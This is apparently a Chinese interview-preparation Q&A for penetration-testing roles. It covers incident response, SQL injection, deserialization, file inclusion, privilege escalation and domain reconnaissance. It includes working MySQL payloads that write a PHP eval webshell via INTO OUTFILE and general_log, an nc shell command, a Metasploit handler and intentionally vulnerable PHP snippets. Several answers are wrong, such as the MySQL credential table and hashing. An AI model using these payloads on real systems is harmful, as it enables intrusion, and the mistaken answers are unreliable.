滲透測試或安服等面試問題與答案
啟明星辰
1開發做的模組有安全漏洞被你發現了,但是老闆催著上線 你作為安全工程師怎麼處理
加班加緊和開發一塊處理安全漏洞,及時向老闆彙報情況
2內網伺服器被人種植shell,怎麼做應急響應
常態化安全檢查與安全加固
中間是流程
下層是
收集安全系統報警資訊,根據威脅情報平臺和之前誤報的資訊初步研判(何種安全事件),自己能解決則利用應急技能(程式分析,日誌分析,樣本分析)(清理處置:斷網後遠端連線殺程式,刪檔案,打補丁,檢視攻擊途徑與操作並修復)自己解決。不能則進行上報,處理完後輸出安全事件報告
3雙11大流量購物平臺,需要做哪些運維工作保證系統正常運轉。
確保各個安全系統穩定高效經受的住大流量,加強日常安檢,檢查備份系統是否能及時替代,加班聽從安排
4 mysql的sql注入拿shell有幾種方式,哪幾種注入可以,哪幾種不可以,
條件:
1:要知道網站絕對路徑,可以通過報錯,phpinfo介面,404介面等一些方式知道
2:gpc沒有開啟,開啟了單引號被轉義了,語句就不能正常執行了
3:要有file許可權,預設情況下只有root有
4:對目錄要有寫許可權,一般image之類的存放突破的目錄就有
在mysql的配置檔案 my.ini 中,secure_file_priv="c:/wamp64/tmp"
被註釋 或者 `secure_file_priv
配置的位置是web目錄。
要了解secure_file_priv是否支援資料匯出、當前資料庫使用者許可權、獲取web目錄的物理路徑。
A、MySQL用secure_file_priv這個配置項來完成對資料匯入匯出的限制。如果secure_file_priv=NULL,MySQL服務會禁止匯入和匯出操作。通過命令檢視secure-file-priv`的當前值,確認是否允許匯入匯出以及到處檔案路徑。
show variables like ‘%secure_file_priv%’;
B、MySQL中root 使用者擁有所有許可權,但寫入Webshell並不需要一定是root使用者許可權,比如資料庫使用者只要擁有FILE許可權就可以執行 select into outfile操作。
C、當secure_file_priv檔案匯出路徑與web目錄路徑重疊,寫入Webshell才可以被訪問到。
0x02 寫入WebShell的幾種方式
1、利用Union select 寫入
這是最常見的寫入方式,union 跟select into outfile,將一句話寫入evil.php,僅適用於聯合注入。
具體許可權要求:secure_file_priv支援web目錄檔案匯出、資料庫使用者File許可權、獲取物理路徑。
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
2、利用分隔符寫入
當Mysql
注入點為盲注或報錯,Union select寫入的方式顯然是利用不了的,那麼可以通過分隔符寫入。SQLMAP
的 --os-shell
命令,所採用的就是一下這種方式。
具體許可權要求:secure_file_priv支援web目錄檔案匯出、資料庫使用者File許可權、獲取物理路徑。
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
同樣的技巧,一共有四種形式:
?id=1 INTO OUTFILE '物理路徑' lines terminated by (一句話hex編碼)#
注入原理
通過select語句查詢的內容寫入檔案,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 這樣寫的原因,然後利用 lines terminated by 語句拼接webshell的內容。lines terminated by 可以理解為 以每行終止的位置新增 xx 內容。
?id=1 INTO OUTFILE '物理路徑' fields terminated by (一句話hex編碼)#
注入原理
利用 fields terminated by
語句拼接webshell的內容。fields terminated by
可以理解為 以每個欄位的位置新增 xx 內容。
?id=1 INTO OUTFILE '物理路徑' columns terminated by (一句話hex編碼)#
注入原理
利用 fields terminated by
語句拼接webshell的內容。fields terminated by
可以理解為 以每個欄位的位置新增 xx 內容。
?id=1 INTO OUTFILE '物理路徑' lines starting by (一句話hex編碼)#
注入原理
利用 lines starting by
語句拼接webshell的內容。lines starting by
可以理解為 以每行開始的位置新增 xx 內容。
3、利用log寫入
新版本的MySQL
設定了匯出檔案的路徑,很難在獲取Webshell
過程中去修改配置檔案,無法通過使用select into outfile來寫入一句話。這時,我們可以通過修改MySQL
的log
檔案來獲取Webshell
。
具體許可權要求:資料庫使用者需具備Super
和File
伺服器許可權、獲取物理路徑。
show variables like '%general%'; #
檢視配置
set global general_log = on; #
開啟
general log
模式
set global general_log_file = 'E:/study/WWW/evil.php'; #
設定日誌目錄為
shell
地址
select '<?php eval($_GET[g]);?>' #
寫入
shell
set global general_log=off; #
關閉
general log
模式
5橢圓曲線加密演算法涉及哪些安全問題
離散對數難題對該密碼的安全性有著多麼重要的作用
6 內網的金銀票據問題
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- 介紹一下自認為有趣的挖洞經歷
挖洞也有分很多種型別,一種是以滲透、一種是以找漏洞為主,如果是前者會想各種辦法獲取許可權繼而獲取想要的的東西完成滲透目標,這類跟HW類似,目標各種漏洞不算,要有Shell,伺服器許可權才給分,這才是最接近實戰滲透,跟某部門有合作的話也是屬於這種打擊網路犯罪獲得許可權、傳銷資料、組織架構,伺服器許可權、等......
如果是以挖洞為主,還需要測試每個點的細節,有完整流程,不能遺漏掉任何一個點,這是一個工作責任。
- 你平時用的比較多的漏洞是哪些?相關漏洞的原理?以及對應漏洞的修復方案?
SQL隱碼攻擊、密碼組合,前者防護分為幾種,CDN -> Web -> 資料庫 -> 主機,設定最小許可權來應對。 密碼組合根據個人習慣
這類問題大幅度官是想了解哪塊技術你用的多,掌握的程度如何。
- php/java反序列化漏洞的原理?解決方案?
php中圍繞著serialize(),unserialize()這兩個函式,序列化就是把一個物件變成可以傳輸的字串,如果伺服器能夠接收我們反序列化過的字串、並且未經過濾的把其中的變數直接放進這些魔術方法裡面的話,就容易造成很嚴重的漏洞了。
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
這裡的O代表儲存的是物件(object),假如你給serialize()傳入的是一個陣列,那它會變成字母a。7表示物件的名稱有7個字元。"chybeta"表示物件的名稱。1表示有一個值。{s:4:"test";s:3:"123";}中,s表示字串,4表示該字串的長度,"test"為字串的名稱,之後的類似。
當傳給 unserialize() 的引數可控時,我們可以通過傳入一個精心構造的序列化字串,從而控制物件內部的變數甚至是函式。
JAVA Java 序列化是指把 Java 物件轉換為位元組序列的過程便於儲存在記憶體、檔案、資料庫中,ObjectOutputStream類的 writeObject() 方法可以實現序列化。
Java 反序列化是指把位元組序列恢復為 Java 物件的過程,ObjectInputStream 類的 readObject() 方法用於反序列化。
- 如果一臺伺服器被入侵後,你會如何做應急響應?
1.準備相關的工具,查後門等工具
2.初步判斷事件型別,事件等級。
3.抑制範圍,隔離使愛害面不繼續擴大
4.查詢原因,封堵攻擊源。
5.業務恢復正常水平.
6.總結,報告,並修復、監控
以上是常規的回答,想知道你是否有這方面應急相關的經驗,像這類問題甲方面試比較多。
- 你平時使用哪些工具?以及對應工具的特點?
AWVS、Masscan、BurpSuite
AWVS常規漏洞掃描,masscan快速查詢埠,burp重複提交資料包
想知道是否有自己開發工具,如果沒有你對每個安全工具有哪些獨特的見解以及別人不知道的技巧用法。如:awvs如何批量掃描?burpsuite如何爆破401、脫庫等、等等...
- 如果遇到waf的情況下如何進行sql注入/上傳Webshell怎麼做?請寫出曾經繞過WAF的經過(SQLi,XSS,上傳漏洞選一)
PHP上傳,無法上傳php、解析、後臺沒有辦法拿到,只有一處點可以上傳。通過Windows特性shell.php::$DATA,是一個專案管理系統
想知道你遇到WAF是放棄,還是繼續研究繞過的這個能力。
- 如何判斷sql注入,有哪些方法
提交錯誤語句是否有異常,除此之外這些顯示的錯誤可以通過sleep,修眠語句執行5秒等,除此之外通過DNSlog判斷是還有傳回值
- 介紹 SQL 注入漏洞成因,如何防範?注入方式有哪些?除了資料庫資料,利用方式還有哪些?
select * from news where id = '$SQL';
當程式執行訪問新聞等一些操作都會執行到sql語句進行呼叫,如果在此呼叫過程中,提交了不合法的資料,而資料庫無法識別則會報錯。也就是一切輸入都是有害的。
注入型別有6種,可以參考SQLMAP,報錯、盲注、聯合、時間、內聯、堆疊
注入提交方式:GET、POST、Cookies、檔案頭
利用方式:具體看什麼資料庫型別,像SQLSERVER可以命令執行,MYSQL寫shell有些許可權大也可以執行命令但是條件是在lINUX環境下。
防範:邊界,CDN -> 指令碼語言過濾 -> 資料庫過濾最小許可權 -> 主機
- 為什麼有的時候沒有錯誤回顯
沒有進行錯誤列印或者錯誤遮蔽
- 寬字元注入的原理?如何利用寬字元注入漏洞,payload如何構造?
在mysql中使用了gbk編碼,佔用2個位元組,而mysql的一種特性,GBK是多位元組編碼,它認為兩個位元組就代表一個漢字,所以%df時候會和轉義符\ %5c進行結合,所以單引號就逃逸了出來,當第一個位元組的ascii碼大於128,就可以了。
- CRLF注入的原理
CRLF注入在OWASP 裡面被稱為HTTP拆分攻擊(HTTP Splitting)CRLF是”回車 + 換行”(\r\n)的簡稱,在HTTP協議中,HTTP Header與HTTP Body是用兩個CRLF分隔的,瀏覽器就是根據這兩個CRLF來取出HTTP 內容並顯示出來。所以,一旦我們能夠控制HTTP 訊息頭中的字元,注入一些惡意的換行
- mysql的網站注入,5.0以上和5.0以下有什麼區別?
5.0以下沒有information_schema這個系統表,無法列表名等,只能暴力跑表名。
5.0以下是多使用者單操作,5.0以上是多使用者多操做。
- php.ini可以設定哪些安全特性
禁用PHP函式
允許include或開啟訪問遠端資源
- php的%00截斷的原理是什麼?
因為在C語言中字串的結束識別符號%00是結束符號,而PHP就是C寫的,所以繼承了C的特性,所以判斷為%00是結束符號不會繼續往後執行
條件:PHP<5.3.29,且GPC關閉
- webshell檢測,有哪些方法
grep、關鍵詞、關鍵函式
安全狗、D盾
- php的LFI,本地包含漏洞原理是什麼?寫一段帶有漏洞的程式碼。手工的話如何發掘?如果無報錯回顯,你是怎麼遍歷檔案的?
if ($_GET['file']){
include $_GET['file'];
}
包含的檔案設定為變數,並且無過濾導致可以呼叫惡意檔案
還可以對遠端檔案包含,但需要開啟allow_url_include = ON
通過測試引數的地方進行本地檔案/etc/passwd等包含
如何存在漏洞而且沒有回顯,有可能沒有顯示在頁面而是在網頁原始碼中,除些可以利用DNSlog進行獲取包含的資訊。從index.php檔案一級級往讀取
也可以利用PHP封裝協議讀取檔案
- 說說常見的中介軟體解析漏洞利用方式
-
IIS 6.0
/xx.asp/xx.jpg "xx.asp"是資料夾名
-
IIS 7.0/7.5
預設Fast-CGI開啟,直接在url中圖片地址後面輸入/1.php,會把正常圖片當成php解析
-
Nginx
版本小於等於0.8.37,利用方法和IIS 7.0/7.5一樣,Fast-CGI關閉情況下也可利用。
空位元組程式碼 xxx.jpg%00.php
-
Apache
上傳的檔案命名為:test.php.x1.x2.x3,Apache是從右往左判斷字尾
- mysql的使用者名稱密碼是存放在那張表裡面?mysql密碼採用哪種加密方式?
mysql -> users
SHA1
- Windows、Linux、資料庫的加固降權思路,任選其一
禁用root
禁止遠端訪問
禁止寫入
單獨帳號
禁止執行system等函式
- 你使用什麼工具來判斷系統是否存在後門
Chkrootkit
Rkhunter
- 如何繞過CDN獲取目標網站真實IP,談談你的思路?
類似phpinfo、網站資訊
C段、子域名
歷史解析記錄
DDOS
zmap全網掃描識別http頭
網站域名管理員郵箱,註冊過的域名等相關資訊關聯
- 如果給你一個網站,你的滲透測試思路是什麼? 在獲取書面授權的前提下。
其實這是一個非常大的話題,滲透大部分思路都是如此,而面試官是想聽到你回答不一樣的答案讓人眼前一亮
如何才做到讓人眼前一亮都需要看你的經驗,把你實踐的過程拿出來說,以及遇到什麼問題如何解決,最終取得成果
滲透其它大同小異,而做為滲透者知識的儲備、基礎紮實、耐心、細心都是必不可少。
- 談一談Windows系統與Linux系統提權的思路?
- Windows
Windows服務比較多所以方法也如此,最基本的就是Exp提權,資料庫SQLServer、MYSQL UDF等、第三方軟體提權。
除此之外提權的成功與否和在於資訊收集也非常重要,你對這臺伺服器和管理員瞭解多少。
Linux
Linux也是類似,除了EXP或者高版本的核心無法提權之外,通過第三方軟體和服務,除了提權也可以考慮把這臺機器當跳版,
達到先進入內網安全防線最弱的地方尋找有用的資訊,再迂迴戰術。
- Brief
- 列舉指令碼
- 以root許可權執行的程式
- 使用者安裝的軟體
- 弱口令或者明文密碼
- 只能內部訪問的服務
- suid和guid錯誤配置
- 濫用sudo許可權
- 以root許可權執行的指令碼檔案
- 錯誤的路徑配置
- 計劃任務
- 未掛載的檔案系統
- NFS共享
- 通過鍵盤記錄儀竊取密碼
- 其它有用的和提權相關的東西
- 核心提權
- 列舉出您所知道的所有開源元件高危漏洞(十個以上)
Tomcat
Nginx
Apache
Hadhoop
Docker
Jenkins
Zenoss
Jboss
MongoDB
Redis
GlassFish
- 反彈 shell 的常用命令?一般常反彈哪一種 shell?為什麼?
nc -lvvp 7777 -e /bin/bash
bash是互動式,否則像useradd無法執行互動
- CMD命令列如何查詢遠端終端開放埠
tasklist /svc
netstat -ano
- 伺服器為IIS+PHP+MySQL,發現root許可權注入漏洞,講講你的滲透思路
可以讀取IIS資訊,知道路徑,如果像WAMMP類似構建,通過@@datadir知道資料庫路徑也可以猜測網站路徑。
或者直接寫Shell
- 請寫出Mysql5資料庫中查詢庫’helloworld’中’users’表所有列名的語句
select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and table_schema = 'your_db_name';
- 下面這段程式碼存在漏洞嗎?如果存在請說出存在什麼漏洞並利用
http://www.exp.com/1.php
<?php
$s_func = $_GET['s_func'];
$info = $_GET['info'];
$s_func($info);
?>
程式碼執行,通過assert呼叫
- udf提權
MySQL可以自定義函式,通過自定義函式做到類似xp_cmdshell效果
- SQL頭注入點
UserAgent
Referer
Cookie
X-FOR-IP
- php中命令執行涉及到的函式
eval()
assert()
system()
exec()
shell_exec()
- SSRF漏洞的成因 防禦 繞過
模擬伺服器對其它資源進行請求
IP探測,如果想漏洞利用必需要構造好Payload
禁止跳轉,限制協議,內外網限制,URL限制
針對IP格式
- mysql寫shell有幾種方法
outfile、dumpfile、開啟log寫webshell
- Metasploit 開啟反向監聽的命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
- 應急響應的步驟
1.準備已經編譯好的工具以及取證分析等工具乾淨可靠放U盤
2.初步判斷事件的型別,是被入侵、ddos還是其它的原因
3.首先抑制範圍、影響範圍,隔離使受害面不繼續擴大。
4.尋找原因,封堵攻擊源。
5.把業務恢復至正常水平
6.監控有無異常,報告、管理環節的自省和改進措施。
- 有哪些反向代理的工具?
reGeirg、EW、lcx、Ngrok、frp
- 有什麼比較曲折的滲透經歷
這個問題想知道你工作滲透到什麼樣的程度,只是簡單的漏掃搬磚,還是有毅力堅持完成整個滲透,如:對目標不放棄,堅持一個月最終通過各種手段,曲折的過程拿下目標。
UpdateTime:2019.5.11
- 怎麼查詢域控
方法有很多
1.通過DNS查詢
dig -t SRV _gc._tcp.lab.ropnop.com
dig -t SRV _ldap._tcp.lab.ropnop.com
dig -t SRV _kerberos._tcp.lab.ropnop.com
dig -t SRV _kpasswd._tcp.lab.ropnop.com
2.埠掃描
域伺服器都會開啟389埠,所以可以通過掃描埠進行識別。
3.其實很多域環境裡,DNS伺服器就是域控制根本不需要怎麼找。
4.各種命令
dsquery
net group "Domain controllers"
nltest /DCLIST:pentest.com
......
-
PHP 作為弱型別語言,在底層它是怎麼判斷變數的型別的
-
ARP 攻擊的原理(講出具體的流程),如何發現並防禦 ARP 攻擊
-
滲透大企業簡單還是小站點簡單,為什麼
大企業目標資產較為多,攻擊者只需要找到一個點,而企業安全人員要防的則一個面。
其實我認為越小的站越難滲透,這裡有很多方面不細說。
-
內網如何反彈 shell,反彈的 shell 流量如何隱蔽
-
除了 TCPIP 協議,如何將內網資料傳遞出來(內網環境有著嚴格防禦與審查)
相關文章
- 15道基礎滲透測試面試題,附答案!面試題
- 滲透測試 網站安全測試行業問題分析網站行業
- 什麼是滲透測試?滲透測試的服務方式有哪些?
- 【彙總】網路安全滲透測試常見面試題!面試題
- 滲透測試會用到哪些工具?滲透測試教程
- 滲透測試可以解決哪些問題?服務方式是什麼?
- 【乾貨集】超全的滲透測試面試題總結!面試題
- 為什麼滲透測試很重要?滲透測試的服務方式有幾種?
- 測試面試題集錦(六)| 軟素質篇與反問面試官篇(附答案)面試題
- Linux滲透測試Linux
- 什麼是滲透測試?為什麼要做滲透測試?
- 測試面試題集錦(五)| 自動化測試與效能測試篇(附答案)面試題
- 什麼是滲透測試?滲透測試分類方式有哪些?
- 什麼是滲透測試?滲透測試分為哪幾類?
- 滲透測試怎麼做?滲透測試的步驟有哪些?
- 你真的瞭解“滲透測試”嗎?滲透測試有何作用?
- 滲透測試與自動化安全測試工具比較
- 滲透測試報告測試報告
- 滲透測試之nmap
- 【滲透測試】Vulnhub DarkHole
- APP安全檢測 滲透測試APP服務介紹與過程APP
- 滲透測試什麼?滲透測試具體操作流程是什麼
- 網路安全滲透測試的型別!滲透測試入門教程型別
- 什麼是滲透測試?滲透測試培訓班如何選擇?
- 測試面試問題(二)面試
- 面試過了,總結測試工程師面試題(含答案)工程師面試題
- 網站安全滲透測試服務之discuz漏洞挖掘與利用網站
- SQL崗位30個面試題,SQL面試問題及答案SQL面試題
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- 滲透測試是什麼?滲透測試三種分類主要包括哪些?
- 安全測試和滲透測試的區別
- 滲透測試之主機探測與埠掃描
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- 滲透測試技巧總結
- 網路安全滲透測試
- 滲透測試-資訊收集
- GraphQL滲透測試詳解
- 滲透測試------資訊收集